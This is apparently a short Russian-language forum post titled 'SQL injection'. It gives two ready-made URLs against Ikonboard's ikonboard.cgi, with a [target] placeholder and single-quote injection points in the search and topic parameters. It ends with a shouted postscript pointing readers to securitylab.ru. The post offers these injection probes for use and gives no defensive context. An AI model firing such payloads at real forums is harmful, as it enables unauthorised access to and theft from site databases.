SQL инъекция:

_http://[target]/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1 '
_http://[target]/support/ikonboard.cgi?act=Search&CODE=01&keywords='&type=n ame&forums=all&search_in=all&prune=0

ЗЫ!!! Я БЫ ПОСОВЕТОВАЛ, ПРЕЖДЕ ЧЕМ ЗАДАВАТЬ ВОПРОСЫ ТУТ, СНАЧАЛА СМОТРЕТЬ НЕТ ЛИ ОТВЕТА НА САЙТЕ _http://www.securitylab.ru!!!